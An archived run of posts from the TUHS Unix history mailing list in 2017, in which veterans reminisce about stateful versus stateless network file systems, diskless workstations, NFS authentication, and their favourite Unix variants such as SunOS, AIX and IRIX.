> Larry McVoy <lm at mcvoy.com> wrote:
> 
> > I'd argue that stateful is really hard to get right when machines panic
> > or reboot.  Maybe you can do it on the client but how does one save all
> > that state on the server when the server crashes?
> >
> > NFS seems simple in hindsight but like a lot of things, getting to that
> > simple wasn't chance, it was designed to be stateless because nobody
> > had a way to save the state in any reasonable way.
> 
> I won't disagree with you.
> 
> I remember that stateful vs. stateless was one of the big technical
> debates of the time, and I remember that (my impression of) the general
> feeling was that stateful was better but much harder to do / get right.
> (Again, I don't want to start another long thread over this, especially
> as I don't really remember any more than what I just wrote.)
> 
> So we can downgrade "stateful" from "good" to "different" and let
> it go at that. :-)

That other post that had a link to a post from Rick Macklem tickled my
memory so I went looking.

He wrote this:

https://docs.freebsd.org/44doc/smm/06.nfs/paper.pdf

which included some of what Clem has hinted at (I think).  Did this stuff
ever go anywhere?  Is it BSD only?  Abandoned or what?

--lm



From bakul at bitblocks.com  Fri Sep 29 06:00:42 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 28 Sep 2017 13:00:42 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928140700.GN28606@mcvoy.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <20170928140700.GN28606@mcvoy.com>
Message-ID: <2BFDC7A5-109E-4045-8B40-4ECC11F8DE45@bitblocks.com>



> On Sep 28, 2017, at 7:07 AM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
>> Kevin Bowling <kevin.bowling at kev009.com> wrote:
>> 
>>> I guess alternatively, what was interesting or neat, about RFS, if
>>> anything?  And what was bad?
>> 
>> Good: Stateful implementation, remote devices worked.
> 
> I'd argue that stateful is really hard to get right when machines panic
> or reboot.  Maybe you can do it on the client but how does one save all
> that state on the server when the server crashes?
> 
> NFS seems simple in hindsight but like a lot of things, getting to that
> simple wasn't chance, it was designed to be stateless because nobody
> had a way to save the state in any reasonable way.

I have some first hand experience with this.... in 1984.

Valid Logic Systems Inc, an early VLSI design vendor hired me
as a contractor to fix bugs in this funky ethernet driver they
had (from Lucas films, IIRC) that did some remote file
operations. I proposed that instead I do a "proper" networked
file system and to my amazement they agreed to let me build a   
prototype.
 
I first built an RPC layer (ethertype 1600 -- see RFC 1700!)
and then EFS (extended FS) that allowed access to remote 
files.  Being a one man team I punted on generality. Just
hand-built separate marshall/unmarshall function for each
remote procedure.  No mounts. Every node's FS was visible to
everyone else (subject to Unix permissions). /net/ path prefix
was for remote files.
 
All this took about 2-3 months. Performance was decent for a
1984 era workstation. Encouraged by the progress I suggested
we add in missing functionality such as the ability to chdir 
to a remote dir etc. Yes, state! And complications!
 
On bootup every node advertized its presence & a "generation"
number (incremented by 1 from the last gen) so that other
nodes can drop old outstanding state -- not unlike a disk 
dying but still messy to clean things up. Next had to make
scheduling priority for remote operations to be interruptible.
People didn't like "cd /net/foo" hanging indefinitely! unlink
and mv were a problem (machine A wouldn't know if machine B    
did this). rm was easy to fix -- just add a refcount for every
remote machine with an open. mv not so. I don't think I ever
solved this. Local FS read/write are atomic so I tried very
hard to make the remote read/writes atomic as well. This can
get interesting in presence of a node crashing....
 
At about this time, Sun gave a presentation on NFS to Valid.
I suspect Valid also realized that doing this properly was
a much bigger than a one man project. Result: they terminated
the project. It was a fun project while it lasted. The fact
this much was done was thanks to a lot of invaluable help
from my friend Jamie Markevitch (also a contractor @ Valid
at that point).

At the time I thought all of these stateful problems were
solvable given more time but now I am not so sure. But as
a result of that belief I never really liked NFS. I felt
they took the easy way out.



From dave at horsfall.org  Fri Sep 29 08:08:16 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Fri, 29 Sep 2017 08:08:16 +1000 (EST)
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>

On Thu, 28 Sep 2017, Clem Cole wrote:

> Truth is that an Sun-3 running 'diskless' != as an Apollo running 
> 'twinned.' [There is a famous Clem' story I'll not repeat here from 
> Masscomp about a typo I made, but your imagination would probably be 
> right - when I refused to do build a diskless system for Masscomp]....

Not the infamous "dikless" workstation?  I remember a riposte from a woman 
(on Usenet?), saying she didn't know that it was an option...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From lm at mcvoy.com  Fri Sep 29 08:20:56 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 28 Sep 2017 15:20:56 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
References: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
Message-ID: <20170928222056.GD28606@mcvoy.com>

On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
> On Thu, 28 Sep 2017, Clem Cole wrote:
> 
> >Truth is that an Sun-3 running 'diskless' != as an Apollo running
> >'twinned.' [There is a famous Clem' story I'll not repeat here from
> >Masscomp about a typo I made, but your imagination would probably be right
> >- when I refused to do build a diskless system for Masscomp]....
> 
> Not the infamous "dikless" workstation?  I remember a riposte from a woman
> (on Usenet?), saying she didn't know that it was an option...

I dunno why all the hating on diskless.  They actually work, I used the
heck out of them.  For kernel work, stacking one on top of the other,
the test machine being diskless, was a cheap way to get a setup.

Sure, disk was better and if your work load was write heavy then they
sucked (*), but for testing, for editing, that sort of thing, they were
fine.

--lm

(*) I did a distributed make when I was working on clusters.  Did the
compiles on a pile of clients, all the data was on the NFS server, I started
the build on the NFS server, did all the compiles remotely, did the link
locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
hacks were super jealous.  They were all sharing a big SMP machine with
a Solaris that didn't scale for shit, I was way faster.



From kevin.bowling at kev009.com  Fri Sep 29 12:23:11 2017
From: kevin.bowling at kev009.com (Kevin Bowling)
Date: Thu, 28 Sep 2017 19:23:11 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928222056.GD28606@mcvoy.com>
References: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
Message-ID: <CAK7dMtBnQY8FAgAd509BAjt1tJ-MP5HNuFeXAs0wjF2+msgFNQ@mail.gmail.com>

This is pretty much how we work today.  Build or crossbuild the kernel
on a host with your editor of choice and hopefully tons of cores like
my dual socket desktop.  Then netboot the device under test/victim.
Panic, edit, repeat, no panic :)

With modern CPUs and NICs you can pretty easily do diskless now.  But
for "scale out" designs there's something to be said for having lots
of fully independent systems, especially if the applications software
can avoid any artificial locality dependence.

On Thu, Sep 28, 2017 at 3:20 PM, Larry McVoy <lm at mcvoy.com> wrote:
> On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
>> On Thu, 28 Sep 2017, Clem Cole wrote:
>>
>> >Truth is that an Sun-3 running 'diskless' != as an Apollo running
>> >'twinned.' [There is a famous Clem' story I'll not repeat here from
>> >Masscomp about a typo I made, but your imagination would probably be right
>> >- when I refused to do build a diskless system for Masscomp]....
>>
>> Not the infamous "dikless" workstation?  I remember a riposte from a woman
>> (on Usenet?), saying she didn't know that it was an option...
>
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
>
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.
>
> --lm
>
> (*) I did a distributed make when I was working on clusters.  Did the
> compiles on a pile of clients, all the data was on the NFS server, I started
> the build on the NFS server, did all the compiles remotely, did the link
> locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
> hacks were super jealous.  They were all sharing a big SMP machine with
> a Solaris that didn't scale for shit, I was way faster.
>



From kevin.bowling at kev009.com  Fri Sep 29 12:58:59 2017
From: kevin.bowling at kev009.com (Kevin Bowling)
Date: Thu, 28 Sep 2017 19:58:59 -0700
Subject: [TUHS] Favorite UNIX
Message-ID: <CAK7dMtBjgVeoEraveDDC1rhG+Aors_KAWeoy6HKpCV_vy9EdmQ@mail.gmail.com>

What is your favorite UNIX.  Three possible categories, choose one or more:
1) Free
2) Forced to use a commercial platform.  I guess that could include
macOS and z/OS with some vivid imagination, maybe even NT.
3) Historical

Me:
1) FreeBSD - I find it to generally be the least annoying desktop and
laptop experience with admittedly careful selection of hardware to
ensure compatibility.  It's ideal to me for commercial appliances and
servers due to the license, tight coupling of kernel and base, and
features like ZFS, jails, and pluggable TCP stacks.  Linux distros
lost their luster for me once systemd was integrated into Debian, and
that kind of culture seems to be prevailing up and down the stack in a
way that I'd prefer to be an outside observer of Linux and not
dependent on it for now.

2) AIX - I often see people disparage AIX but I like it.  I learned a
lot in my teens about C, build systems, compilers, and lots of
libraries trying to port random software to it for auto-didactic
reasons.  It definitely doesn't feel like any other UNIX.  It probably
supports high core count and NUMA better than any other system except
Linux, it had advanced virtualization with LPARs and containers with
WPARs before most and hot patchable kernel, fully pagable kernel, lots
of rigorous kernel engineering there that didn't get a lot of fanfare.
SMIT is kind of cool as a TUI and spits out commands that you can
learn through repetition and use at the CLI or scripting.  I think it
probably peaked in the early 2000s, but the memory management, volume
management, and file systems all seemed pretty forward thinking up
until then.  I don't think SMP performance was a strong suite until it
was pretty much a relegated niche though.

3) IRIX - it just screams '90s cool like an acrylic sweater.  Soft
real time, immense graphics support, pro audio and video features,
lots of interesting commercial software, NUMA, supercomputers.  I
enjoy tinkering on this still, but a lot of that is due to the neat
hardware.

Regards,
Kevin



From lm at mcvoy.com  Fri Sep 29 13:28:28 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 28 Sep 2017 20:28:28 -0700
Subject: [TUHS] Favorite UNIX
In-Reply-To: <CAK7dMtBjgVeoEraveDDC1rhG+Aors_KAWeoy6HKpCV_vy9EdmQ@mail.gmail.com>
References: <CAK7dMtBjgVeoEraveDDC1rhG+Aors_KAWeoy6HKpCV_vy9EdmQ@mail.gmail.com>
Message-ID: <20170929032828.GN28606@mcvoy.com>

On Thu, Sep 28, 2017 at 07:58:59PM -0700, Kevin Bowling wrote:
> What is your favorite UNIX.  Three possible categories, choose one or more:
> 1) Free
> 2) Forced to use a commercial platform.  I guess that could include
> macOS and z/OS with some vivid imagination, maybe even NT.
> 3) Historical

SunOS 4.1.3  Oh, man, how I wish that all of Unix today were based
on that.  If you like FreeBSD you would love that kernel.  It's BSD
for sure but then carefully moved forward into an excellent VM system,
a virtualized the file system with the vnode stuff, it cared about
the right picture.  And all the bugs fixed.

I've worked in lots of other kernel source bases.  They all sucked in
comparison.  Including Solaris, fuck that shit, Bryan will yell at me
but Solaris sucked.  Yeah, they made it useful with all the work they
did but it was never "home" and I think that even the people that worked
on it get that.  Or not, it was never home for me.

SunOS had so much love and so much carefulness poured into it.  And I
can't claim any credit, it was the people who came before me, Rusty, Rob,
Joe, Steve, those guys did the work that made me see the architecture
that they left for me to see.

Guy Harris worked on it, he left right around the time I joined, I think
he went to Auspex (sp?) but he would come back and pound on the door
to building 5 at around 6 or 7pm.  Pope or I would go down and let him
in and he'd find a machine and look at the source and start screaming
about why haven't they fixed this bug?  And he'd just fix it.  He didn't
work here and he fixed bugs.  I get it, it took me years after I left 
Sun to stop saying "we" when we were talking about Sun.

The level of love, as measured by the amount of time we all spent to make
it better, was over the top.  And it was because of the super stars who
showed us what an OS could be.

Today?  Favorite?   Grumble.  It's sort of shitty.  Linux is the obvious
winner but is it what I like?  It's what I run.  Have to give it credit.
It is pretty good.  I'd prefer to be running a SunOS derived OS.



From kevin.bowling at kev009.com  Fri Sep 29 13:36:25 2017
From: kevin.bowling at kev009.com (Kevin Bowling)
Date: Thu, 28 Sep 2017 20:36:25 -0700
Subject: [TUHS] Favorite UNIX
In-Reply-To: <20170929032828.GN28606@mcvoy.com>
References: <CAK7dMtBjgVeoEraveDDC1rhG+Aors_KAWeoy6HKpCV_vy9EdmQ@mail.gmail.com>
 <20170929032828.GN28606@mcvoy.com>
Message-ID: <CAK7dMtDvmQCtMeMMPnHfsHTc=njQqh7rkLo7B3jLsYL-r_UjxA@mail.gmail.com>

I have the requisite hardware and media so I will give it a shake so I
can talk with you about it some time.

Auspex.. I have a story there believe it or not.  Tore one apart at an
electronic junkyard I worked at part time in my teens.  But I got it
booted up enough to test everything and sell as they wanted.  The
hardware was very cool.  I didn't know enough back then to evaluate
the software.  I murdered a ton of interesting computers there sadly.
Still searching for salvation :D

Regards,

On Thu, Sep 28, 2017 at 8:28 PM, Larry McVoy <lm at mcvoy.com> wrote:
> On Thu, Sep 28, 2017 at 07:58:59PM -0700, Kevin Bowling wrote:
>> What is your favorite UNIX.  Three possible categories, choose one or more:
>> 1) Free
>> 2) Forced to use a commercial platform.  I guess that could include
>> macOS and z/OS with some vivid imagination, maybe even NT.
>> 3) Historical
>
> SunOS 4.1.3  Oh, man, how I wish that all of Unix today were based
> on that.  If you like FreeBSD you would love that kernel.  It's BSD
> for sure but then carefully moved forward into an excellent VM system,
> a virtualized the file system with the vnode stuff, it cared about
> the right picture.  And all the bugs fixed.
>
> I've worked in lots of other kernel source bases.  They all sucked in
> comparison.  Including Solaris, fuck that shit, Bryan will yell at me
> but Solaris sucked.  Yeah, they made it useful with all the work they
> did but it was never "home" and I think that even the people that worked
> on it get that.  Or not, it was never home for me.
>
> SunOS had so much love and so much carefulness poured into it.  And I
> can't claim any credit, it was the people who came before me, Rusty, Rob,
> Joe, Steve, those guys did the work that made me see the architecture
> that they left for me to see.
>
> Guy Harris worked on it, he left right around the time I joined, I think
> he went to Auspex (sp?) but he would come back and pound on the door
> to building 5 at around 6 or 7pm.  Pope or I would go down and let him
> in and he'd find a machine and look at the source and start screaming
> about why haven't they fixed this bug?  And he'd just fix it.  He didn't
> work here and he fixed bugs.  I get it, it took me years after I left
> Sun to stop saying "we" when we were talking about Sun.
>
> The level of love, as measured by the amount of time we all spent to make
> it better, was over the top.  And it was because of the super stars who
> showed us what an OS could be.
>
> Today?  Favorite?   Grumble.  It's sort of shitty.  Linux is the obvious
> winner but is it what I like?  It's what I run.  Have to give it credit.
> It is pretty good.  I'd prefer to be running a SunOS derived OS.



From mutiny.mutiny at rediffmail.com  Fri Sep 29 16:56:45 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 29 Sep 2017 06:56:45 -0000
Subject: =?utf-8?B?UmU6IFtUVUhTXSBGYXZvcml0ZSBVTklY?=
In-Reply-To: <20170929032828.GN28606@mcvoy.com>
Message-ID: <1506655767.S.4931.17938.f4-234-189.1506668205.10498@webmail.rediffmail.com>

&#39;From: Larry McVoy &lt;lm at mcvoy.com&gt;Sent: Fri, 29 Sep 2017 08:59:27I&#39;ve worked in lots of other kernel source bases. &nbsp;They all sucked incomparison. &nbsp;Including Solaris, fuck that shit, Bryan will yell at mebut Solaris sucked.&nbsp; ...&#39;As far as I remember Sunos-4 Kernel became AT&amp;T Sys5r4 kernel and made it into Sunos5 which became Solaris.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/a863ffb1/attachment.html>

From andreas.kahari at icm.uu.se  Fri Sep 29 18:59:23 2017
From: andreas.kahari at icm.uu.se (Andreas Kusalananda =?iso-8859-1?B?S+Ro5HJp?=)
Date: Fri, 29 Sep 2017 10:59:23 +0200
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928222056.GD28606@mcvoy.com>
References: <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
Message-ID: <20170929085923.nclqn5g4xang4vii@client.local>

On Thu, Sep 28, 2017 at 03:20:56PM -0700, Larry McVoy wrote:
> On Fri, Sep 29, 2017 at 08:08:16AM +1000, Dave Horsfall wrote:
> > On Thu, 28 Sep 2017, Clem Cole wrote:
> > 
> > >Truth is that an Sun-3 running 'diskless' != as an Apollo running
> > >'twinned.' [There is a famous Clem' story I'll not repeat here from
> > >Masscomp about a typo I made, but your imagination would probably be right
> > >- when I refused to do build a diskless system for Masscomp]....
> > 
> > Not the infamous "dikless" workstation?  I remember a riposte from a woman
> > (on Usenet?), saying she didn't know that it was an option...
> 
> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.  For kernel work, stacking one on top of the other,
> the test machine being diskless, was a cheap way to get a setup.
> 
> Sure, disk was better and if your work load was write heavy then they
> sucked (*), but for testing, for editing, that sort of thing, they were
> fine.
> 
> --lm

My main work setup today is actually a diskless (X11-less) OpenBSD
system.  It's just something I set up in a VM environment to learn how
to do it (I'm on a work laptop running Windows 10, as I need Windows
for some few work-related tasks), but it works just fine and I have no
reason to change it.  For one thing, it makes backups easier as they can
run locally on the server.

At some point I hope to buy I smaller dedicated server to run the NFS
server (and mail, etc.) but I see no real reason not to keep running the
diskless client in a VM on my laptop.  Heck, then I might even be able
to netboot the laptop itself without disturbing the Windows system on it
at all...

> 
> (*) I did a distributed make when I was working on clusters.  Did the
> compiles on a pile of clients, all the data was on the NFS server, I started
> the build on the NFS server, did all the compiles remotely, did the link
> locally.  Got a 12x speed up on a 16 node + server setup.  The other kernel
> hacks were super jealous.  They were all sharing a big SMP machine with
> a Solaris that didn't scale for shit, I was way faster.
> 

OpenBSD has this "dpb" thing ("distributed ports builder",
/usr/ports/infrastructure/bin/dpb, http://man.openbsd.org/dpb) that
does distributed building of 3rd-party packages.  It does exactly this,
sharing the sources over NFS.


Cheers,

-- 
Andreas Kusalananda Kähäri,
National Bioinformatics Infrastructure Sweden (NBIS),
Uppsala University, Sweden.


From krewat at kilonet.net  Fri Sep 29 22:08:02 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 29 Sep 2017 08:08:02 -0400
Subject: [TUHS] Favorite UNIX
In-Reply-To: <20170929032828.GN28606@mcvoy.com>
References: <CAK7dMtBjgVeoEraveDDC1rhG+Aors_KAWeoy6HKpCV_vy9EdmQ@mail.gmail.com>
 <20170929032828.GN28606@mcvoy.com>
Message-ID: <422f2276-5050-8d7f-ee10-06b1300a2e32@kilonet.net>

Isn't this a rehash of my recent thread? :)

On 9/28/2017 11:28 PM, Larry McVoy wrote:
> SunOS 4.1.3
Historically, yes. I was forced kicking and screaming into Solaris back 
in the 90's, because all the CAD/CAM software I administered moved to 
Solaris, while Sun themselves moved to Solaris on their new SMP systems 
like the SparcServer-1000 and even the 670 was more useful with Solaris.

Currently? Solaris - it's NEVER let me down in commercial or personal 
use. Sure, I hit a bug or two here or there, maybe a controller that it 
didn't like, but running PeopleSoft on it, Oracle database, whatever 
else I specialize in, it's been great.

Like I said, I was forced kicking and screaming into Solaris - however, 
once I got used to it, and having used SVR4.2 for a home BBS/USENET/UUCP 
system modem front-end in the early 90's, I quickly grew to like it.

NUMA? Solaris does it very well, probably because of the huge SPARC 
systems carrying over to the Intel world.

I used to run FreeBSD at home, for firewall, and general file server 
usage. Why? Because I was in love with SunOS at the time ;)




From lm at mcvoy.com  Sat Sep 30 00:14:06 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Fri, 29 Sep 2017 07:14:06 -0700
Subject: [TUHS] Favorite UNIX
In-Reply-To: <1506655767.S.4931.17938.f4-234-189.1506668205.10498@webmail.rediffmail.com>
References: <20170929032828.GN28606@mcvoy.com>
 <1506655767.S.4931.17938.f4-234-189.1506668205.10498@webmail.rediffmail.com>
Message-ID: <20170929141406.GP28606@mcvoy.com>

> As far as I remember Sunos-4 Kernel became AT&T Sys5r4 kernel and
> made it into Sunos5 which became Solaris.

Nope, Sun got SVR4 dumped on them and then we moved some of the stuff 
from SunOS over.  But a lot, most of it, got dropped.  They are entirely
different kernels.

Don't get me wrong, there is some good stuff in Solaris, but I never
loved it.  I loved the SunOS kernel.


From clemc at ccc.com  Sat Sep 30 00:20:26 2017
From: clemc at ccc.com (Clem Cole)
Date: Fri, 29 Sep 2017 10:20:26 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170929085923.nclqn5g4xang4vii@client.local>
References: <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>
 <alpine.BSF.2.21.1709290803390.47452@aneurin.horsfall.org>
 <20170928222056.GD28606@mcvoy.com>
 <20170929085923.nclqn5g4xang4vii@client.local>
Message-ID: <CAC20D2MAuXUi4ofBx6Epd=ueQZF8k6UL8drEuk3L44iy4G2iWQ@mail.gmail.com>

On Fri, Sep 29, 2017 at 4:59 AM, Andreas Kusalananda Kähäri <
andreas.kahari at icm.uu.se> wrote:
>
> My main work setup today is actually a diskless (X11-less) OpenBSD
> ​ ​
> system.


​Please be careful when you compare a technology choice of today with
yesterday.​

What Larry and I were arguing about diskless was based on the Masscomp
WS-500 vs Sun-3 vs Apollo system of the same vintage.   Pricing on the 3
systems (with a disk) and the same amount of memory (all three used the
same 16Mhz 68020 processor)  was $9.5K for the WS-500, $10K for the Apollo
and $11.5K for the Sun.   But if you dropped the disk out the system, the
Sun's dropped to $7K and the Apollo's $6.5K (Masscomp could not because I
refused to build it as I thought it was crappy idea for a real time system).

FYI:  Sun charged another $5K for an add-in disk unit, although on
the aftermarket you could get one that worked fine for about $4K [which is
what we did to all the Stellar development systems when we discovered that
they did not work as well as we had thought].

IIRC the memory was 4M (it might have been a little more, but not too
much).    The disk itself was on the order of 100M in size and was ST-506
based on, with an ST-506 to SCSI converter.   I'm trying to remember when
the 200-500M 5.25in ST-506 disk showed up but I think it was a little after
that.

The point is the cost of the HW and configuration of the HW for all intents
and purposes was the same between the three systems.
The difference really was the software.    Each had made different
choices... given their chosen markets.

Today, the HW  allows different choices.  Memory configurations alone, make
diskless much more interesting.   Ignoring a local cache, if you a RAM file
system on a system like what I just described, it took up 1/4 of the memory
you had.

Today, Linux and *BSD use 'ramFS' just to boot the OS - which makes perfect
sense, *today*.

On the other hand, back in the day, on the Masscomp, we turned the cache
off and 'borrowed it' as scratch pad RAM for the boot process (UNIX turned
it on as part of turning on the MMU) because memory was such a premium and
it might not be working.    *Diskless was cost choice in the old days. *
Today the price of the disk (SSD) (i.e. price/bit is so small) the 'cost'
has more to do with power and space in the case and possibly portability
than the price of the bits themselves.   In theory a 'Chromebook' style
system of today needs to permanent local storage.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170929/c61fef18/attachment.html>

From gdmr at inf.ed.ac.uk  Sat Sep 30 01:22:04 2017
From: gdmr at inf.ed.ac.uk (George Ross)
Date: Fri, 29 Sep 2017 16:22:04 +0100
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: Your message of "Thu, 28 Sep 2017 15:20:56 PDT."
 <20170928222056.GD28606@mcvoy.com>
Message-ID: <201709291522.v8TFM4nq012088@farg.inf.ed.ac.uk>

> I dunno why all the hating on diskless.  They actually work, I used the
> heck out of them.

The issue we (initially) had with Suns wasn't the stateful/stateless debate,
or indeed that they were discless.  It was that horrible "UNIX
authentication" that NFS used.

We had been using discless "workstations" and fileservers since around the
late '70s / early '80s, basically ever since we discovered that virtual
DECtapes were a whole lot faster than the real thing.  Our "filestores"
didn't trust their clients -- they did the authentication themselves -- so
we could let the students loose doing bare-metal practicals without having
to worry about them breaking in.  That model didn't work for us with NFS.

However, Sun were keen to sell us kit (and DEC didn't seem to be), and they 
could sell us things for less than we could build them ourselves, so we 
eventually ended up with a couple of hundred or so of the things.  And they 
swapped like mad and thrashed the network into the ground.

We split subnets, and split subnets (and had some interesting amd maps as a 
result of trying to keep traffic local) and eventually ended up with so 
many that we couldn't run them all through all the offices as the cable 
bundle was too big, which was a nightmare for the admin staff trying to 
allocate people to desks.  Twisted pair, and then switches, saved us from 
that problem!

